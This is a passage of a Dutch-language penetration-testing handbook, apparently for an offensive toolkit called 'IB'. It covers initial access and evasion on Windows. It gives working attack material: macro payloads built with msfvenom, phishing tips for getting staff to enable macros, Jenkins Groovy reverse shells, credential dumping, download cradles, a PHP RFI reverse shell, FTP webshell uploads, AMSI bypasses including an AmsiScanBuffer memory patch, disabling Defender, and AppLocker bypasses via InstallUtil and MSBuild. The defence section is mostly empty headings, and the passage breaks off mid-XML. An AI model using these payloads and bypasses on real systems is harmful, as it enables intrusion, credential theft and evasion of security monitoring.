Als je een template uploadt, injecteert IB de macro in het document en produceert een macro-enabled versie (.docm of .xlsm). Zonder template krijg je de raw VBA-code die je handmatig in een document kunt plakken.

Macro Generator (v2):

Dezelfde workflow, maar met een extra LURI-veld. De API endpoint is /api/macro2/generate.

3.4.3 Handmatige VBA macro payload

Als je de macro zelf wilt bouwen:

# Genereer VBA macro via msfvenom
msfvenom -p windows/meterpreter/reverse_https \
    LHOST=10.0.0.1 LPORT=443 \
    -f vba-exe -o macro_payload.vba

De gegenereerde code bestaat uit twee delen: 1. Een Auto_Open() (Word) of Workbook_Open() (Excel) functie die automatisch draait bij het openen van het document 2. Shellcode die in het geheugen wordt geladen en de meterpreter-sessie start

Om de macro in een document te plaatsen: 1. Open Word of Excel 2. Druk Alt+F11 om de VBA-editor te openen 3. Plak de gegenereerde code in een module 4. Sla op als .docm (Word) of .xlsm (Excel)

3.4.4 Social engineering delivery

De techniek is slechts de helft van het verhaal. De delivery – hoe je het document bij het slachtoffer krijgt – is minstens zo belangrijk.

Effectieve delivery-methoden:

  1. E-mail: het meest voorkomend. Een overtuigend bericht met het document als bijlage
  2. USB-drop: fysiek een USB-stick achterlaten op een parkeerplaats of in de lobby
  3. Interne share: als je al een foothold hebt, plaats het document op een gedeelde schijf
  4. Website: host het document op een overtuigende website

De sleutel is context. Een document genaamd Factuur_December.xlsm verstuurd in januari aan de financiële afdeling is vele malen effectiever dan een generiek document aan een willekeurige medewerker.

Enkele tips voor overtuigende macro-documents:

  1. Gebruik de huisstijl: kopieer logo’s, kleurtinten en lettertypen van de organisatie
  2. Verwijs naar echte projecten: als je via OSINT projectnamen hebt gevonden, gebruik ze
  3. Maak het urgent: “Actie vereist voor 17:00” werkt beter dan “Bijgevoegd ter informatie”
  4. Verberg de macro-waarschuwing: voeg een afbeelding toe die zegt “Dit document is beveiligd. Klik op ‘Enable Content’ om het te bekijken”
  5. Stuur het op het juiste moment: maandagochtend is effectiever dan vrijdagmiddag

Dit is geen technisch advies. Dit is social engineering. En social engineering is effectiever dan welke exploit dan ook.

IB Tip: IB’s HTTP server (standaard actief op poort 5000) serveert bestanden uit de http/payloads/ directory. Gegenereerde macro-documenten worden hier automatisch geplaatst. Combineer dit met IB’s XSS-hooks voor een volledige social engineering pipeline: hook de browser, stuur een bericht met een link naar je payload.

3.5 Jenkins exploitatie

3.5.1 De CI/CD-server als achterdeur

Jenkins is de meest gebruikte CI/CD-server ter wereld. Het automatiseert het bouwen, testen en deployen van software. En het draait vaak als root of SYSTEM. Op een server die toegankelijk is voor het hele ontwikkelteam. Soms voor het hele netwerk. Soms voor het hele internet.

Jenkins is een penetratietester’s droom. Het is ontworpen om willekeurige code uit te voeren – dat is letterlijk zijn functie. Het verschil tussen “legitimate CI/CD pipeline” en “remote code execution” is alleen een kwestie van wie de code uitvoert.

3.5.2 Detectie

# Jenkins draait typisch op deze poorten
# 8080 (HTTP), 8443 (HTTPS), 50000 (agent)

# Versie detectie
nmap -sV -p 8080,8443,50000 TARGET_IP

# Handmatige checks:
# Login pagina:  http://TARGET:8080/login
# Versie info:   http://TARGET:8080/oops (of /error)
# Groovy console: http://TARGET:8080/script
# Manage pagina:  http://TARGET:8080/manage
# Gebruikerslijst: http://TARGET:8080/asynchPeople/

De belangrijkste vraag is: is /script bereikbaar? Als ja, heb je directe remote code execution. De Groovy Script Console is een interactieve console die willekeurige Groovy-code uitvoert op de server. Met de rechten van het Jenkins-proces. Dat is meestal root of SYSTEM.

3.5.3 Groovy Script Console: directe RCE

Als de Script Console toegankelijk is (al dan niet na authenticatie):

// Linux: command execution
def cmd = "id".execute()
println cmd.text

// Linux: reverse shell
String host = "10.0.0.1"
int port = 443
String cmd = "/bin/bash"
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start()
Socket s = new Socket(host, port)
InputStream pi = p.getInputStream()
InputStream pe = p.getErrorStream()
InputStream si = s.getInputStream()
OutputStream po = p.getOutputStream()
OutputStream so = s.getOutputStream()
while (!s.isClosed()) {
    while (pi.available() > 0) so.write(pi.read())
    while (pe.available() > 0) so.write(pe.read())
    while (si.available() > 0) po.write(si.read())
    so.flush()
    po.flush()
    Thread.sleep(50)
}
// Windows: command execution
def cmd = "cmd.exe /c whoami".execute()
println cmd.text

// Windows: PowerShell download cradle
def cmd = "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.1/shell.ps1')".execute()

3.5.4 Build Step RCE

Als je geen admin-toegang hebt maar wel Jobs kunt aanmaken of wijzigen:

  1. Maak een nieuwe Job: New Item -> Freestyle project
  2. Ga naar Build -> Add build step -> Execute shell (Linux) of Execute Windows batch command
  3. Voer je commando in:
# Linux reverse shell via build step
bash -i >& /dev/tcp/10.0.0.1/443 0>&1
# Windows: download en execute
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.1/shell.ps1')"
  1. Klik Build Now

De build draait als het Jenkins-serviceaccount. Op Linux is dat vaak jenkins (soms root). Op Windows is dat vaak NT AUTHORITY\SYSTEM.

3.5.5 Credential dumping via Jenkins

Jenkins slaat credentials op in $JENKINS_HOME/credentials.xml, versleuteld met een master key. Via de Groovy console kun je deze ontsleutelen:

// Alle opgeslagen credentials dumpen
com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
    com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials.class,
    Jenkins.instance, null, null
).each {
    println "ID: ${it.id}, User: ${it.username}, Pass: ${it.password}"
}
// Individuele encrypted string ontsleutelen
println hudson.util.Secret.decrypt("{AQAAABAAAAAg...}")

Jenkins credentials bevatten vaak SSH-sleutels, database-wachtwoorden, API-tokens en deployment-credentials. Een compromised Jenkins is niet alleen toegang tot de Jenkins-server – het is potentieel toegang tot elk systeem waar Jenkins mee communiceert.

3.5.6 Jenkins CLI en API

# Jenkins API met bekende credentials
curl -u admin:PASSWORD http://TARGET:8080/api/json

# Remote code execution via API
curl -u admin:PASSWORD http://TARGET:8080/script \
    -d "script=println 'whoami'.execute().text"

# Jenkins CLI
# Download de CLI jar:
# http://TARGET:8080/jnlpJars/jenkins-cli.jar
java -jar jenkins-cli.jar -s http://TARGET:8080/ \
    -auth admin:PASSWORD groovy = <<< "println 'id'.execute().text"

3.5.7 Jenkins als springplank

Het gevaar van Jenkins gaat verder dan de Jenkins-server zelf. Jenkins communiceert typisch met:

Elke credential die in Jenkins staat, is een nieuw aanvalspad. Een gecompromitteerde Jenkins-server is zelden het eindpunt – het is het begin van een veel grotere aanval. Dit is wat security professionals “lateral movement” noemen, en Jenkins is een van de effectiefste springplanken die er bestaan.

3.5.8 Bekende Jenkins CVEs

CVE Beschrijving Impact
CVE-2024-23897 Arbitrary file read via CLI args Hoog
CVE-2019-1003000 Sandbox bypass in Pipeline Kritiek
CVE-2018-1000861 Unauthenticated RCE Kritiek

IB Tip: IB’s exploit_jenkins commandobestand bevat de volledige Jenkins exploitation flow: detectie, Groovy console shells (Linux en Windows), build step RCE, credential dumping en API-misbruik. De kern: als /script bereikbaar is, heb je RCE. Jenkins draait vaak als root of SYSTEM, dus dat betekent meestal directe privilege escalation.

3.6 Remote File Inclusion (RFI)

3.6.1 Het PHP-probleem

Remote File Inclusion is een kwetsbaarheid die vooral voorkomt in PHP-applicaties. Het werkt als volgt: de applicatie includeert een bestand op basis van gebruikersinput, en als die input een URL kan zijn, kan een aanvaller zijn eigen code laten uitvoeren.

De kwetsbare code ziet er meestal zo uit:

<?php
    include($_GET['page']);
?>

Als de aanvaller page=http://attacker.com/shell.php kan meegeven, includeert de server het bestand van de aanvaller en voert het uit. Het is alsof je tegen een kok zegt “maak wat er in dit recept staat” en hem dan een recept geeft voor vergif.

3.6.2 php://input methode

De php://input stream wrapper is bijzonder bruikbaar: het laat je PHP-code meegeven in de request body in plaats van via een extern bestand. Geen aparte hosting nodig.

# Stap 1: Start een listener
nc -lnvp 443

# Stap 2: Stuur de RFI payload
curl -v 'http://TARGET/vuln.php?page=php://input%00' \
    -d '<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 443 >/tmp/f");?>'

De %00 (null byte) aan het einde van de URL is een oude truc: PHP-versies voor 5.3 interpreteerden de null byte als het einde van de string, waardoor een eventuele .php-extensie die de applicatie toevoegde werd genegeerd.

3.6.3 IB als payload host

IB draait een HTTP-server die bestanden uit http/payloads/ serveert. Dit maakt het ideaal als host voor RFI-payloads:

  1. Genereer een payload via een van IB’s generators
  2. De payload staat automatisch in http/payloads/
  3. IB serveert het bestand via HTTP
  4. Gebruik de URL in je RFI-aanval
# Voorbeeld: RFI met IB-gehoste webshell
curl 'http://TARGET/vuln.php?page=http://ATTACKER_IP:5000/static/payloads/shell.php'

IB Tip: IB’s Task Runner heeft een rfi_input taak die de php://input methode automatiseert. Het start automatisch een netcat listener in een screen-sessie en stuurt de RFI payload. De output vertelt je welke screen-sessie je shell bevat.

3.6.4 FTP als delivery-methode

IB heeft ook een FTP-gebaseerde aanvalsketen: ftp_asp.sh combineert anonymous FTP-upload met het triggeren van een ASP webshell:

# Wat ftp_asp.sh doet:
# 1. Start netcat listener in screen
screen -dmS ftp_asp_443 nc -lnvp 443

# 2. Upload ASP shell via anonymous FTP
ftp -n TARGET_IP <<END
quote USER Anonymous
quote PASS Anonymous
cd wwwroot
binary
put shell_443.asp
quit
END

# 3. Trigger de shell via HTTP
curl http://TARGET_IP/shell_443.asp

Dit is de klassieke keten: verkenning (anonymous FTP gevonden), payload delivery (upload via FTP), executie (trigger via HTTP). Drie stappen, minimale complexiteit, maximale impact.

3.7 Het cynische intermezzo: over wachtwoorden en menselijke feilbaarheid

Weet je wat het ironische is aan wachtwoordbeveiliging? We dwingen mensen om wachtwoorden te bedenken die moeilijk te onthouden zijn voor mensen, maar triviaal te kraken voor computers. P@ssw0rd1! voldoet aan elke complexiteitseis die een doorsnee IT-afdeling stelt: hoofdletter, kleine letter, cijfer, speciaal teken, minimaal 8 karakters. En het staat in elke woordenlijst die ooit is gemaakt.

Ondertussen zou mijn hond eet graag kaas op dinsdag een fantastisch wachtwoord zijn – lang, willekeurig, makkelijk te onthouden – maar het voldoet niet aan het beleid omdat er geen hoofdletter en geen speciaal teken in zit. We hebben een systeem gebouwd dat slechte wachtwoorden afdwingt en goede wachtwoorden afwijst. Dat is geen bug, dat is het ontwerp.

En Jenkins? Jenkins is de perfecte metafoor voor de staat van IT-beveiliging in het algemeen. We bouwen een systeem waarvan de letterlijke functie is “voer willekeurige code uit op een server”, geven het admin-rechten, zetten het op het netwerk, en vragen ons vervolgens af hoe de aanvallers zijn binnengekomen. Dat is alsof je een gewapende waakhond in je kantoor zet en dan verbaasd bent als hij iemand bijt.

Office macro’s zijn al twintig jaar een aanvalsvector, en ze werken nog steeds. Niet omdat de verdedigingen niet bestaan – ze bestaan. Maar omdat ergens in elke organisatie een manager is die zegt “schakel die macro-beveiliging uit, want mijn spreadsheet werkt niet meer.” En de IT-afdeling doet het. Omdat de manager hoger in de hierarchie staat dan het beveiligingsbeleid. Altijd.

3.8 Verdediging: hoe je dit voorkomt

Dit is het punt waar we even onze aanvallerspet afzetten en praktisch worden. Want het is leuk om kwetsbaarheden te vinden, maar het is nuttiger om ze te voorkomen.

3.8.1 Wachtwoordbeleid

3.8.2 Patch management

3.8.3 Netwerk segmentatie

3.8.4 E-mail filtering

3.8.5 Monitoring en detectie

Verdediging is niet alleen preventie – het is ook detectie. Zelfs de beste preventieve maatregelen falen soms. Zorg dat je het merkt wanneer dat gebeurt:

De ironie is dat veel van deze aanvallen maanden onontdekt blijven – niet omdat de detectie zo moeilijk is, maar omdat niemand naar de logs kijkt. Een SIEM die logs verzamelt maar waar niemand op reageert, is een duur meubelstuk.

3.9 Samenvatting

Initiële toegang is zelden geavanceerd. Het is geduld, voorbereiding en het systematisch uitbuiten van menselijke feilbaarheid:

  1. Password spraying werkt omdat mensen voorspelbare wachtwoorden kiezen – ken de lockout policy en spray voorzichtig
  2. Brute force is last resort – gebruik Crowbar voor RDP, Hydra voor de rest, en hou de thread count laag
  3. Woordenlijsten maken of breken je aanval – combineer CeWL, crunch en mutatie-regels
  4. IB’s payload generators produceren kant-en-klare executables, scripts en documenten – van XOR-encrypted C# tot VBA macro’s
  5. Office macro’s werken door social engineering, niet door technische briljantie
  6. Jenkins is RCE-as-a-service als /script bereikbaar is
  7. RFI exploiteert slechte PHP-configuratie – IB kan zowel als payload host als als aanvalstool dienen
  8. Verdediging begint bij MFA, sterke wachtwoorden en netwerksegmentatie

3.10 Referentietabel

Onderwerp Tool/Commando IB Component
Password spray (AD) crackmapexec smb -u users.txt -p 'Wachtwoord' Commands: passwd_spray
Brute force SSH hydra -L users.txt -P pass.txt ssh://TARGET Task Runner: brute_ssh
Brute force RDP crowbar -b rdp -s TARGET/32 -U users.txt -C pass.txt Task Runner: brute_rdp
Brute force VPN crowbar -b openvpn -s TARGET/32 -u user -C pass.txt Task Runner: brute_vpn
Weak SSH keys crowbar -b sshkey Task Runner: weak_ssh
Wachtwoord generatie crunch, cewl, john --rules Commands: passwd_wordlist, Task Runner: gen_passwords
Hash cracking hashcat -m 1000, john Commands: passwd_brute
Lockout policy crackmapexec smb --pass-pol Commands: passwd_spray
Meterpreter (C#) IB genereert XOR-encrypted EXE Web: /meterpreter
Meterpreter v2 Met LURI support Web: /meterpreter2
PowerShell payload AMSI bypass + reverse shell Web: /powershell
Office macro VBA shellcode in .docm/.xlsm Web: /macro, /macro2
ASPX webshell XOR-encrypted C# ASPX Web: /methaspx
Invoke-Shellcode PowerShell x32+x64 loader Web: /invokeshellcode
Msfvenom (CLI) Alle formaten: exe, elf, asp, jsp, war Handmatig
Metasploit handler exploit/multi/handler Handmatig
Jenkins Groovy RCE /script console Commands: exploit_jenkins
Jenkins build step New Item -> Freestyle -> Execute shell Commands: exploit_jenkins
Jenkins credentials Groovy credential dump Commands: exploit_jenkins
RFI php://input curl -d '<?php system(...)' url?page=php://input Task Runner: rfi_input
FTP ASP upload Anonymous FTP + webshell trigger Task Runner: ftp_asp
HTTP payload server IB serveert http/payloads/ Automatisch actief

Vorige: Hoofdstuk 2 – Verkenning Volgende: Hoofdstuk 4 – Evasion

Evasion -- Detectie Ontwijken

Evasion – Detectie Ontwijken

Waarin we ontdekken dat de hele beveiligingsindustrie een wapenwedloop is die niemand echt wint, en dat het Trojaanse paard nog steeds het best werkende concept uit de IT-geschiedenis is.

De Oudste Truc ter Wereld

Er is een verhaal – en ik weet niet of het waar is, maar het is te mooi om niet te vertellen – over een Engelse smokkelaar uit de achttiende eeuw die elke dag met een kruiwagen vol stro de grens over reed. De douanier prikte en porde in dat stro, dag na dag, week na week, en vond nooit iets. Jaren later, toen beiden met pensioen waren, liepen ze elkaar tegen het lijf in een kroeg. “Ik weet dat je iets smokkelde,” zei de douanier. “Vertel me wat het was.” De smokkelaar glimlachte. “Kruiwagens.”

Dat is, in essentie, het hele verhaal van evasion in informatiebeveiliging.

De Grieken bouwden een houten paard en de Trojanen sleepten het zelf naar binnen. Drieduizend jaar later downloadt een medewerker van de boekhouding een Excel-bestand genaamd factuur_Q3_DEFINITIEF_v2.xlsm en klikt op “Macro’s inschakelen.” De technologie is veranderd. De menselijke natuur niet.

Wat we in dit hoofdstuk gaan doen, is systematisch door de verdedigingslagen van een modern Windows-systeem heen wandelen. Niet omdat we graag dingen kapotmaken – hoewel dat een onmiskenbaar prettige bijkomstigheid is – maar omdat je pas begrijpt hoe sterk een slot is als je het hebt geprobeerd open te breken. Elke techniek die hier beschreven staat, heeft een tegenpool: een detectiemethode, een hardening-maatregel, een manier om het te voorkomen. We behandelen die ook. Maar eerst moeten we begrijpen wat we proberen te ontwijken.

De moderne Windows-verdediging bestaat ruwweg uit drie lagen:

  1. AMSI – de Antimalware Scan Interface, die PowerShell-scripts en .NET-assemblies scant voordat ze uitgevoerd worden.
  2. AppLocker / WDAC – applicatie-whitelisting die bepaalt welke executables mogen draaien.
  3. Antivirus / EDR – de software die op handtekeningen en gedrag let, van Windows Defender tot commerciele EDR-oplossingen.

En dan is er nog een vierde laag die geen verdediging is maar eerder een slagveld: het geheugen van een draaiend proces, waar process injection plaatsvindt. Maar daarover later meer.

Laten we beginnen waar Microsoft dacht dat het slim was.

AMSI: De Bewaker Die Iedereen Kan Zien

Wat is AMSI?

De Antimalware Scan Interface is Microsofts antwoord op een probleem dat ze zelf gecreeerd hadden: PowerShell was zo krachtig geworden dat aanvallers het als hun favoriete gereedschap waren gaan gebruiken. AMSI, geintroduceerd in Windows 10, is een brug tussen applicaties (PowerShell, VBScript, JavaScript, Office VBA) en de geinstalleerde antimalware-software. Elke keer dat PowerShell een scriptblok uitvoert, stuurt het de tekst eerst naar AMSI, die het doorgeeft aan Defender (of welke AV dan ook geregistreerd is). AMSI zegt “ja” of “nee,” en PowerShell luistert.

Het is alsof je een bewaker bij de deur zet die elk pakketje openmaakt en controleert. Klinkt degelijk. Behalve dat de bewaker in hetzelfde gebouw staat als de mensen die hij controleert, en dat iedereen zijn werkschema kent. AMSI draait in het proces van de applicatie zelf – amsi.dll wordt in-process geladen. Dat betekent dat als je de controle over dat proces hebt, je de bewaker simpelweg kunt blinddoeken.

Of, om het cynisch samen te vatten: ze hebben een slot op de deur gezet en de sleutel aan de inbreker gegeven.

Hier zijn vijf manieren om die sleutel te gebruiken.

AMSI Bypass 1: Constrained Language Mode (CLM) Ontsnapping

Constrained Language Mode is PowerShells poging om gevaarlijke operaties te beperken. In CLM mag je geen Add-Type aanroepen, geen New-Object voor willekeurige .NET-klassen gebruiken, en geen directe .NET-method calls doen. Het idee is: als je PowerShell beperkt tot “veilige” cmdlets, kan een aanvaller er niets mee.

Het probleem is dat CLM een beleidsbeslissing is, geen fysieke muur. Er zijn meerdere wegen eromheen.

Methode 1: Custom Runspace

De elegantste bypass maakt een nieuwe PowerShell-runspace aan – een soort mini-PowerShell-sessie – die niet onderhevig is aan CLM:

# Custom runspace omzeilt CLM restricties
$rs = [runspacefactory]::CreateRunspace()
$rs.ApartmentState = 'STA'
$rs.ThreadOptions = 'ReuseThread'
$rs.Open()
$p = $rs.CreatePipeline()
$p.Commands.AddScript('$ExecutionContext.SessionState.LanguageMode')
$p.Invoke()

Als het antwoord FullLanguage is in plaats van ConstrainedLanguage, ben je vrij.

Methode 2: PowerShell v2

Dit is de hamerstijl-bypass: start simpelweg PowerShell versie 2, die geen AMSI heeft en geen CLM afdwingt:

# PowerShell v2: geen AMSI, geen CLM
powershell -version 2 -c "$ExecutionContext.SessionState.LanguageMode"

Het werkt alleen als .NET Framework 2.0 nog geinstalleerd is. Op verrassend veel systemen is dat zo, omdat niemand ooit de moeite heeft genomen het te verwijderen. Beveiligingsbeleid door middel van luiheid is, helaas, geen effectief beveiligingsbeleid.

Methode 3: PSBypassCLM via InstallUtil

# PSBypassCLM tool via InstallUtil (whitelisted binary)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe `
  /logfile= /LogToConsole=false /U C:\Windows\tasks\PSBypassCLM.exe

Dit gebruikt een techniek die we verderop in het AppLocker-gedeelte uitgebreider behandelen: InstallUtil.exe is een door Microsoft ondertekend programma dat AppLocker en CLM vertrouwen.

Methode 4: MSBuild Inline Task

# MSBuild voert C# uit buiten CLM
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe `
  C:\Windows\tasks\clm_bypass.xml

Het XML-bestand bevat inline C#-code die in FullLanguage mode draait, ongeacht wat de huidige PowerShell-sessie denkt.

Verificatie:

# Check je huidige language mode
$ExecutionContext.SessionState.LanguageMode

IB Tip: CLM blokkeert Add-Type, New-Object, en .NET method calls. Maar je kunt wel cmdlets aanroepen – alleen .NET interop is beperkt. Gebruik die beperking als detectiekans: als je in je logs ziet dat iemand een custom runspace aanmaakt, is er iets aan de hand.

AMSI Bypass 2: De amsiInitFailed Context Bypass

Dit is de bypass die je met een rechte rug aan een examinator kunt uitleggen, omdat hij zo logisch is dat het bijna grappig wordt. AMSI houdt intern een vlag bij genaamd amsiInitFailed. Als die op true staat, denkt AMSI dat zijn eigen initialisatie mislukt is, en slaat het alle scans over. Elke scan. Altijd. Het is alsof je de brandmelder vertelt dat hij kapot is, waarna hij braaf stopt met luisteren naar rook.

# Zet de amsiInitFailed flag naar true via reflection
$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {
    if ($b.Name -like "*iUtils") { $c = $b }
}
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d) {
    if ($e.Name -like "*Failed") { $f = $e }
}
$f.SetValue($null, $true)

Hoe het werkt: De code doorloopt de interne types van de System.Management.Automation-assembly, vindt de klasse die op iUtils eindigt (dat is AmsiUtils, maar we schrijven het niet voluit omdat dat zelf gedetecteerd wordt), vindt het statische veld dat op Failed eindigt, en zet het op true.

Test het met:

IEX 'amsiutils'

Als AMSI actief is, triggert het woord “amsiutils” een detectie. Na de bypass: stilte.

IB Tip: Dit is de simpelste bypass, maar wordt vaak gedetecteerd op de string zelf. Obfuscatie helpt:

# Obfuscatie voorbeeld: splits de class-naam
$w = 'System.Management.Automation.A]'
$c = 'si]Ut]able'.Replace(']','')
$z = [Ref].Assembly.GetType(($w + 'm' + $c))
# ... enzovoort

Let op: werkt niet in PowerShell 7+ vanwege gewijzigde internals.

AMSI Bypass 3: Memory Patching van AmsiScanBuffer

Als de vorige bypass het diplomatieke pad was, is dit de mokerslag. We overschrijven de functie AmsiScanBuffer in het geheugen met bytes die altijd AMSI_RESULT_CLEAN retourneren. AMSI wordt aangeroepen, probeert te scannen, en zijn eigen scanfunctie zegt: “Niets aan de hand.”

Dit is het equivalent van een inbreker die de camera’s niet uitschakelt, maar ze laat afspelen van een eerdere opname. De bewaker ziet beelden, denkt dat alles in orde is, en ondertussen wordt het magazijn leeggehaald.

# AmsiScanBuffer memory patch
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr h, string n);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string n);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(
        IntPtr a, UIntPtr s, uint np, out uint op);
}
"@
Add-Type $Win32

$l = [Win32]::LoadLibrary("amsi.dll")
$a = [Win32]::GetProcAddress($l, "AmsiScanBuffer")
$p = 0
[Win32]::VirtualProtect($a, [uint32]5, 0x40, [ref]$p)

# Patch: mov eax, 0x80070057 (E_INVALIDARG) + ret
$patch = [Byte[]](0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $a, 6)

Wat gebeurt er stap voor stap:

  1. We laden kernel32.dll-functies via P/Invoke.
  2. We vinden het adres van AmsiScanBuffer in amsi.dll.
  3. We veranderen de geheugenpermissies van die locatie naar PAGE_EXECUTE_READWRITE (0x40) met VirtualProtect.
  4. We schrijven zes bytes: mov eax, 0x80070057 gevolgd door ret. Dit zorgt ervoor dat de functie onmiddellijk retourneert met E_INVALIDARG, wat AMSI interpreteert als “scan niet mogelijk, ga door.”

De patch-bytes 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 zijn het equivalent van een uit zes letters bestaand briefje op de deur: “Ben er niet.”

IB Tip: Dit is de meest betrouwbare bypass en werkt op alle Windows-versies. Maar Defender detecteert de code die de patch uitvoert. Obfusceer, of gebruik een van de andere methoden als voorloper. Het is een soort kip-en-eiprobleem: je moet AMSI bypassen om je AMSI-bypass uit te voeren.

AMSI Bypass 4: Reflection – De AmsiContext Null Pointer

Deze variant is subtieler dan de memory patch. In plaats van de scanfunctie te overschrijven, zetten we de AmsiContext-pointer op nul. Wanneer AmsiScanBuffer wordt aangeroepen, probeert het de context te lezen, vindt een null pointer, en faalt gracefully – zonder alarm te slaan.

# AMSI Bypass via .NET Reflection - AmsiContext naar null
$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {
    if ($b.Name -like "*iUtils") { $c = $b }
}
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d) {
    if ($e.Name -like "*Context") { $f = $e }
}
$g = $f.GetValue($null)
[IntPtr]$ptr = $g
[Int32[]]$buf = @(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

Hoe het verschilt van de amsiInitFailed-methode: In plaats van AMSI te vertellen dat het niet geinitialiseerd is, laten we het normaal starten en vervolgens zijn eigen geheugen corrumperen. Het is het verschil tussen zeggen “ik ben ziek, ik kom niet” en daadwerkelijk de alarmsirene volgieten met beton.

IB Tip: Obfusceer variabelenamen als de signature gedetecteerd wordt. Combineer eventueel met het uitschakelen van real-time monitoring (vereist adminrechten):

Set-MpPreference -DisableRealtimeMonitoring $true

Maar dat genereert zelf een event. Niets is gratis.

AMSI Bypass 5: InvisiShell – De Nucleaire Optie

InvisiShell is geen bypass van AMSI. Het is een bypass van alles. Het omzeilt Script Block Logging, Module Logging, Transcription, en AMSI in een klap, door een custom CLR Profiler DLL te laden die hooks plaatst in de System.Management.Automation-assembly.

Als de vorige bypasses een lockpick waren, is InvisiShell een bulldozer door de achtermuur.

# Met admin privileges (registry keys in HKLM):
RunWithPathAsAdmin.bat

# Zonder admin privileges (registry keys in HKCU):
RunWithRegistryNonAdmin.bat

# Na gebruik: exit om hooks en registry keys op te ruimen
exit

In de InvisiShell-sessie die daarna opent:

Het is alsof je een onzichtbaarheidsmantel om je PowerShell-sessie hebt geslagen. Vandaar de naam.

IB Tip: InvisiShell moet VOOR andere tools geladen worden. Het werkt door CLR Profiler hooking op System.Management.Automation, wat betekent dat het alleen werkt in nieuwe PowerShell-processen – niet in bestaande sessies. Start het dus als allereerste stap na initial access.

AMSI: Het Grotere Plaatje

Vijf bypasses. Vijf manieren om een beveiligingsmechanisme te omzeilen dat Microsoft in 2015 met groot enthousiasme presenteerde. En dit zijn alleen de publiek bekende methoden. De les hier is niet dat AMSI waardeloos is – het vangt genoeg commodity malware af om zijn bestaan te rechtvaardigen. De les is dat AMSI een laag is, geen muur. Het houdt script kiddies tegen. Het houdt professionals niet tegen.

En dat brengt ons bij de volgende laag.

AppLocker: De Poortwachter met Alzheimer

Wat is AppLocker?

AppLocker is Microsofts applicatie-whitelisting-technologie. Het idee is eenvoudig en, in theorie, krachtig: beheerders definieerden regels die bepalen welke executables, scripts, DLL’s en installers mogen draaien. Alles wat niet op de lijst staat, wordt geblokkeerd.

In de praktijk betekent dit dat beheerders een lijst maken van toegestane programma’s, en dat aanvallers vervolgens programma’s gebruiken die al op die lijst staan. Want hier is het briljante inzicht achter Living Off The Land Binaries (LOLBins): Microsoft levert standaard tientallen ondertekende executables mee die dingen kunnen doen waar ze nooit voor bedoeld waren.

Het is alsof je een lijst maakt van mensen die het gebouw in mogen, en vergeet dat de schoonmaker ook een sleutel heeft tot de serverruimte.

AppLocker Bypass 1: InstallUtil.exe

InstallUtil.exe is een .NET-hulpprogramma voor het installeren en deinstalleren van Windows-services. Het staat standaard in de AppLocker-whitelist omdat het een door Microsoft ondertekende binary is in de .NET Framework-directory. Het probleem: de /U-vlag (uninstall) voert willekeurige code uit in de Uninstall()-methode van een .NET- assembly.

Stap 1: Compileer een C#-payload met een Uninstall-methode

// bypass.cs - AppLocker bypass via InstallUtil
using System;
using System.Configuration.Install;
using System.ComponentModel;

[RunInstaller(true)]
public class Bypass : Installer
{
    public override void Uninstall(System.Collections.IDictionary state)
    {
        // Hier je payload -- reverse shell, download cradle, etc.
        Console.WriteLine("AppLocker? Welke AppLocker?");
    }
}

Compileer met de standaard .NET-compiler (die ook whitelisted is):

# Compileer de payload
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe `
  /target:exe `
  /out:C:\Windows\tasks\bypass.exe `
  C:\Windows\tasks\bypass.cs

Stap 2: Uitvoeren via InstallUtil

# 64-bit
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe `
  /logfile= /LogToConsole=false /U C:\Windows\tasks\bypass.exe

# 32-bit variant
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe `
  /logfile= /LogToConsole=false /U C:\Windows\tasks\bypass.exe

De /logfile= en /LogToConsole=false vlaggen onderdrukken output. Stilte is goud.

IB Tip: De payload moet System.Configuration.Install.Installer overerven en het attribuut [RunInstaller(true)] hebben. Zonder die twee zal InstallUtil de Uninstall()-methode niet aanroepen. Het is een van die gevallen waar de documentatie je vertelt hoe je de bypass moet schrijven.

AppLocker Bypass 2: MSBuild.exe

MSBuild is Microsofts build-tool voor .NET-projecten. Het leest XML-projectbestanden en voert de daarin gedefinieerde taken uit. Tot die taken behoren inline C#-taken, wat betekent dat MSBuild willekeurige C#-code kan compileren en uitvoeren.

Het is alsof je de schilder die je hebt ingehuurd om de muren te verven, ook de sleutels van de kluis geeft. Want ja, hij moet erbij kunnen om de lijst te verven. Toch?

# 64-bit MSBuild
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe `
  C:\Windows\tasks\build.xml

# 32-bit variant
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe `
  C:\Windows\tasks\build.xml

# Remote XML laden via UNC pad (indien SMB open staat)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe `
  \\10.0.0.1\share\build.xml

Het XML-bestand ziet er ongeveer zo uit:

<!-- build.xml - MSBuild inline task voorbeeld -->
<Project ToolsVersion="4.0"
         xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Exec">
    <ClassExample />
  </Target>
  <UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
    <Task>
